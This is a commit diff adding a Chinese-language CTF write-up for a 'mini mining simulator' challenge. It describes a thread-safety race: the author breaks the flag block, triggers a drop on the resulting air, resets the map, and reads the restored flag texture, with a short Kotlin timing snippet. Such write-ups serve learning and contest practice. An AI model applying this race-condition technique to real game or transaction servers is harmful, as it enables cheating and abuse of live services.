[+] WriteUp for 超迷你的挖矿模拟器
This commit is contained in:
@@ -136,3 +136,43 @@ Sage 看了下但是不知道怎样在程序里面控制w
|
|||||||
果然不应该想太多吧w ;-;
|
果然不应该想太多吧w ;-;
|
||||||
但是至少从 0 到 114514 没有一个数字解不出来啦w
|
但是至少从 0 到 114514 没有一个数字解不出来啦w
|
||||||
|
|
||||||
|
<br>
|
||||||
|
|
||||||
|
## 31. 超迷你的挖矿模拟器 ⛏️
|
||||||
|
|
||||||
|
1. 挖掉 Flag 位置(1,1)的方块w(5s
|
||||||
|
2. 开始挖 Flag 位置的空气,
|
||||||
|
这个时候服务器检测到空气所以就执行可以掉落物品的代码w
|
||||||
|
3. 重置地图, 这个时候 Flag 的位置会还原成 Flag 方块w
|
||||||
|
4. 服务器返回掉落的时候重新获取 Flag 位置的材质就拿到啦w
|
||||||
|
|
||||||
|
其实很想用之前写 Minecraft [破解种子反假矿的 Baritone Fork](https://github.com/hykilpikonna/baritone)
|
||||||
|
的经验试试破解种子啦w
|
||||||
|
然后一看代码发现居然是线程安全题 (╯‵□′)╯︵┻━┻
|
||||||
|
|
||||||
|
(之前还好不理解为什么 Minecraft 服务器到现在都没有多线程优化哇w
|
||||||
|
(大概这就是原因吧w
|
||||||
|
|
||||||
|
这是这次比赛最简单的一道题啦w
|
||||||
|
(简单到还是写了 133 行 😭
|
||||||
|
不过主要代码就只有 12 行啦, 剩下的都是封装嗯w
|
||||||
|
论为什么别人写 CTF 都不遵守代码和命名规范 🌚
|
||||||
|
|
||||||
|
```kotlin
|
||||||
|
// Destroy block, wait for it to complete (long = 5s)
|
||||||
|
damage(flagX, flagY)
|
||||||
|
Thread.sleep(5500)
|
||||||
|
|
||||||
|
// Destroy air, have roughly 3s until it checks the flag again
|
||||||
|
Thread {
|
||||||
|
val result = damage(flagX, flagY)
|
||||||
|
println(result)
|
||||||
|
}.start()
|
||||||
|
|
||||||
|
Thread.sleep(500)
|
||||||
|
reset() // Reset the flag block
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user